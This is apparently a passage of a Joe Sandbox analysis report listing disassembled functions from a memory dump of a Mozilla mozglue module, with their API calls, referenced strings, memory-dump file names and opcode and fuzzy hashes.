Opcode Fuzzy Hash: 0bf903564c60863462c14bb70443c6a6c79dd39a2da2b3aacfdda3046ff6dad3
Instruction Fuzzy Hash: D9014B74708A828BEF018FE9CA96BC273B5E766B1DF205525D901A3F80DB74F484CA56

Function 6C9905F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C98CFAE,?,?,?,6C9531A7), ref: 6C9905FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C98CFAE,?,?,?,6C9531A7), ref: 6C990616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C9531A7), ref: 6C99061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C9531A7), ref: 6C990627

Strings

<jemalloc>, xrefs: 6C9905FA, 6C99060F
: (malloc) Error in VirtualFree(), xrefs: 6C99061B, 6C990625

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 25db96d4eb97f6669a0a88a1216d998ba0ed13a1334b52ae264f65a75ea91de4
Instruction ID: 4ab761612b90a7cc9a4172cf68e3dfbe69a8d3ff13eb501e7c7b282a36168844
Opcode Fuzzy Hash: 25db96d4eb97f6669a0a88a1216d998ba0ed13a1334b52ae264f65a75ea91de4
Instruction Fuzzy Hash: 1CE08CE2A0101037F614225ABC86DBB7A1CDBDA134F080039FE0D82741E94AFD1A51F7

Function 6C9605F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bde2914b230708ec333edf2da442098fa2ffc8ec3e3d8488a5b697087bd924fa
Instruction ID: 37056422203d542312f73db08791f16c3d8635f9fd490470ecfef97f7501e69f
Opcode Fuzzy Hash: bde2914b230708ec333edf2da442098fa2ffc8ec3e3d8488a5b697087bd924fa
Instruction Fuzzy Hash: 80A16A70A05605CFDB14CF29C984A99FBF5BF49304F5486AED44AA7B40D730BA95CF90

Function 6C9B14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9B14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9B14E2
GetCurrentThreadId.KERNEL32 ref: 6C9B1546
InitializeConditionVariable.KERNEL32(?), ref: 6C9B15BA
free.MOZGLUE(?), ref: 6C9B16B4

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 770ed80ba0c0b4aa20744db873b38cabef78ec103e14aba8f224427342d16040
Instruction ID: 5603e48839bfa033874eb59e7bb1d8b95b75ccec8b4ea55c9fd9923afc74763e
Opcode Fuzzy Hash: 770ed80ba0c0b4aa20744db873b38cabef78ec103e14aba8f224427342d16040
Instruction Fuzzy Hash: 8561DF72A05700EBDB118F64C880BDEB7B5BF9A308F04851CED8A67711DB31E999CB91

Function 6C9A9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9A9FDB
free.MOZGLUE(?,?), ref: 6C9A9FF0
free.MOZGLUE(?,?), ref: 6C9AA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9AA0BE
free.MOZGLUE(?,?), ref: 6C9AA0D5
free.MOZGLUE(?,?), ref: 6C9AA0EB

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 6010b17c64fdc12d60f86bdafdcb9194a1e10ec7c5018c29ffbb07ec0987e6d3
Instruction ID: e92d98efe0ba971143f20b948222a7e7f1b7473426a01bcc9f839b9d99cffe8e
Opcode Fuzzy Hash: 6010b17c64fdc12d60f86bdafdcb9194a1e10ec7c5018c29ffbb07ec0987e6d3
Instruction Fuzzy Hash: 6261DF754096019FC751CF58C48059AB3F5FF98328F148669E8999B702EB32E986CFD1

Function 6C9ADC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9ADC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C9AD38A,?), ref: 6C9ADC6F
free.MOZGLUE(?,?,?,?,?,6C9AD38A,?), ref: 6C9ADCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C9AD38A,?), ref: 6C9ADCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C9AD38A,?), ref: 6C9ADD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C9AD38A,?), ref: 6C9ADD4A

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 24dc189e55704bb509b1dec34db959b011ff9ef85d3745b0e5c29eb4621a213f
Instruction ID: 935987abb3a558640313b70b9eca53db3ade4ce5fc80780065d94d58081a4af8
Opcode Fuzzy Hash: 24dc189e55704bb509b1dec34db959b011ff9ef85d3745b0e5c29eb4621a213f
Instruction Fuzzy Hash: 52419CB6A00605DFCB00CF99C88099AB7F5FF98304B654469DD05ABB10D731FC01CBA0

Function 6C996590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C98FA80: GetCurrentThreadId.KERNEL32 ref: 6C98FA8D
Part of subcall function 6C98FA80: AcquireSRWLockExclusive.KERNEL32(6C9DF448), ref: 6C98FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C996727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C9967C8

Part of subcall function 6C9A4290: memcpy.VCRUNTIME140(?,?,6C9B2003,6C9B0AD9,?,6C9B0AD9,00000000,?,6C9B0AD9,?,00000004,?,6C9B1A62,?,6C9B2003,?), ref: 6C9A42C4

Strings

data, xrefs: 6C996593

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 05005de064831a547376c7b9aa1fad48b7a46f93473802ac7ffeaa75292965f9
Instruction ID: ab996b97badea893eaba6de8e0d50924e7c97fa7344ac8d40f2b1daa6674e183
Opcode Fuzzy Hash: 05005de064831a547376c7b9aa1fad48b7a46f93473802ac7ffeaa75292965f9
Instruction Fuzzy Hash: 48D1DF71A093408FD764CF25C841B9FB7E5AFE5308F14892DE48997B91DB30E949CB92

Function 6C9AC810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9AC82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9AC842

Part of subcall function 6C9ACAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C9CB5EB,00000000), ref: 6C9ACB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C9AC863
std::_Facet_Register.LIBCPMT ref: 6C9AC875

Part of subcall function 6C98B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C9CB636,?), ref: 6C98B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9AC89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AC8BC

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: b4778fe9476e8610c3c7196cac04df22de242c41e3559b0939326dd95945073c
Instruction ID: de425f6e6c87dabd49fb10cc3ef8815e54e3b4c49c74c4dc543ed5eed866ae8f
Opcode Fuzzy Hash: b4778fe9476e8610c3c7196cac04df22de242c41e3559b0939326dd95945073c
Instruction Fuzzy Hash: BB11B675B046099BCB04DFA4C8899AE7BB9FF99354B200529E606AB340DB31E945CB91

Function 6C98D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C95EB57,?,?,?,?,?,?,?,?,?), ref: 6C98D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C95EB57,?), ref: 6C98D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C95EB57,?), ref: 6C98D673
free.MOZGLUE(?), ref: 6C98D888

Strings

|Enabled, xrefs: 6C98D81E

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 33468bac1b7514cb4f5a643a888b86f8c67de4f6b023000ef00606f19ac7c165
Instruction ID: ae2d65971eccd17b55a861f867e3a7f3383b642317c9b2e2e44136f856ecc815
Opcode Fuzzy Hash: 33468bac1b7514cb4f5a643a888b86f8c67de4f6b023000ef00606f19ac7c165
Instruction Fuzzy Hash: E4A136B1A063099FDF00CF69C4907AEBBF5AF59318F58845ED885ABB41C731E845CBA1

Function 6C98F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C98F480

Part of subcall function 6C95F100: LoadLibraryW.KERNEL32(shell32,?,6C9CD020), ref: 6C95F122
Part of subcall function 6C95F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C95F132

CloseHandle.KERNEL32(00000000), ref: 6C98F555

Part of subcall function 6C9614B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C961248,6C961248,?), ref: 6C9614C9
Part of subcall function 6C9614B0: memcpy.VCRUNTIME140(?,6C961248,00000000,?,6C961248,?), ref: 6C9614EF

Part of subcall function 6C95EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C95EEE3

CreateFileW.KERNEL32 ref: 6C98F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C98F523

Strings

\oleacc.dll, xrefs: 6C98F4CB

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: d518d01f0ca43661939582b4f88c497fc29ee32d89852733bd1881840c03363d
Instruction ID: 0ac2ddd907ca895738686994e4bbb0b9dbe59f323118e3fff43de7bcabe9210d
Opcode Fuzzy Hash: d518d01f0ca43661939582b4f88c497fc29ee32d89852733bd1881840c03363d
Instruction Fuzzy Hash: AF41A2306097119FE720DF69D884AAAB7F4AF55318F501E1CF59193690EB30E989CB92

Function 6C9B74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C9B7526
__Init_thread_footer.LIBCMT ref: 6C9B7566
__Init_thread_footer.LIBCMT ref: 6C9B7597

Strings

kernel32.dll, xrefs: 6C9B7557
UnmapViewOfFile2, xrefs: 6C9B7552

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 23557f1d40be708f6bbc2a2792f37a9c9aaed32311ae154127c9057c78e59403
Instruction ID: 1df685725a88da7efbf8f0a152a9759a783a643af78f7bd8d018545e3b842531
Opcode Fuzzy Hash: 23557f1d40be708f6bbc2a2792f37a9c9aaed32311ae154127c9057c78e59403
Instruction Fuzzy Hash: C5210631705901B7CB148BE88815EDA73B6EB97B29B158629D40177B80CB31FA4585B1

Function 6C9BA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DF770,-00000001,?,6C9CE330,?,6C97BDF7), ref: 6C9BA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C97BDF7), ref: 6C9BA7C2
moz_xmalloc.MOZGLUE(00000018,?,6C97BDF7), ref: 6C9BA7E4
LeaveCriticalSection.KERNEL32(6C9DF770), ref: 6C9BA80A

Strings

accelerator.dll, xrefs: 6C9BA7BF

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: ba91293ecb05d7c24d36abeef0107773f84bab4f44c617514d488f4734f6b4d5
Instruction ID: da276d4acd9729df64fabebca267984064de832ef571fb0321f01453ca5f3ecf
Opcode Fuzzy Hash: ba91293ecb05d7c24d36abeef0107773f84bab4f44c617514d488f4734f6b4d5
Instruction Fuzzy Hash: 38018FB0608604AFDB04DF55D8C5C5277B8FB89B59715806AE809EB741DB70E800CBA1

Function 6C95F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6C95EE51,?), ref: 6C95F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6C95F0C2

Strings

Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6C95F0DC
Could not find CoTaskMemFree, xrefs: 6C95F0E3
ole32, xrefs: 6C95F0AD

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 4b75fef05408374ca99fac264195139c11a3a77d7403fc1ba8592179dcadbaf8
Instruction ID: 6819c9be832eed6dc8d85ec8aa52ad2e586d394a04d03ddbb0110f4c2f98bedb
Opcode Fuzzy Hash: 4b75fef05408374ca99fac264195139c11a3a77d7403fc1ba8592179dcadbaf8
Instruction Fuzzy Hash: 79E0D872348B06DBEF049B72980962737BC5B6322D368C429F602F2E40EE21F020C661

Function 6C990080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C967204), ref: 6C990088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6C9900A7
FreeLibrary.KERNEL32(?,6C967204), ref: 6C9900BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6C9900A1
wintrust.dll, xrefs: 6C990083

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 55225c4d0e2523e96eecc38002d6bebc24c59a197e5e7a85dcea9ce664e9ddae
Instruction ID: d20e3e39dbff9f72cfa1bae2feb4fb00dd4a293afe26231eb3821f57ad67d7e0
Opcode Fuzzy Hash: 55225c4d0e2523e96eecc38002d6bebc24c59a197e5e7a85dcea9ce664e9ddae
Instruction Fuzzy Hash: BEE09A78648B45ABDF00AF6598097017AF8AB0B749F288465A926E2650DB74F0C0DF62

Function 6C9900D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C967235), ref: 6C9900D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6C9900F7
FreeLibrary.KERNEL32(?,6C967235), ref: 6C99010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6C9900F1
wintrust.dll, xrefs: 6C9900D3

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: e40693f4fa2832d51e5d9d63547323e5665aebf4246078aeb5eecd231ea008e3
Instruction ID: a18ac8204e8f5146c85344b5b34ff8ae283b667bb3cd655677d721eba4ac65be
Opcode Fuzzy Hash: e40693f4fa2832d51e5d9d63547323e5665aebf4246078aeb5eecd231ea008e3
Instruction Fuzzy Hash: 9DE04F7024DB069BEF005F65C90A7213AFCA707249F349065AA5BB2700DB70F1D0CB62

Function 6C9BC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9BC0E9), ref: 6C9BC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C9BC437
FreeLibrary.KERNEL32(?,6C9BC0E9), ref: 6C9BC44C

Strings

ntdll.dll, xrefs: 6C9BC413
NtQueryVirtualMemory, xrefs: 6C9BC431

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 75447116e7f84d1ba79c2c520b1632e2762e3c57e17d798dad06c88f4c80e2b4
Instruction ID: 26514dfef8388c21d50cdb00729a29e21d8465bd9fc3025292338e675392cd70
Opcode Fuzzy Hash: 75447116e7f84d1ba79c2c520b1632e2762e3c57e17d798dad06c88f4c80e2b4
Instruction Fuzzy Hash: B2E0B678609B02ABDF00BF71C9197127BF8A74664DF244556AA06B2750EBB0F1C0CBA2

Function 6C9B75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9B748B,?), ref: 6C9B75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C9B75D7
FreeLibrary.KERNEL32(?,6C9B748B,?), ref: 6C9B75EC

Strings

ntdll.dll, xrefs: 6C9B75B3
RtlNtStatusToDosError, xrefs: 6C9B75D1

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: eb2c4b00dbded57a71e5562010aad004f3ad21e1dd7e22e8143ede82e691d04b
Instruction ID: 40df59ded1a13b81030f65468bd256df80f8dbf679591a478ff7ba88c2647446
Opcode Fuzzy Hash: eb2c4b00dbded57a71e5562010aad004f3ad21e1dd7e22e8143ede82e691d04b
Instruction Fuzzy Hash: 10E0BF71608B02BBDF005FE1C9497827AF8E74665DF309525A915F6640DBB0F2C5CF60

Function 6C9B7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9B7592), ref: 6C9B7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C9B7627
FreeLibrary.KERNEL32(?,6C9B7592), ref: 6C9B763C

Strings

ntdll.dll, xrefs: 6C9B7603
NtUnmapViewOfSection, xrefs: 6C9B7621

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
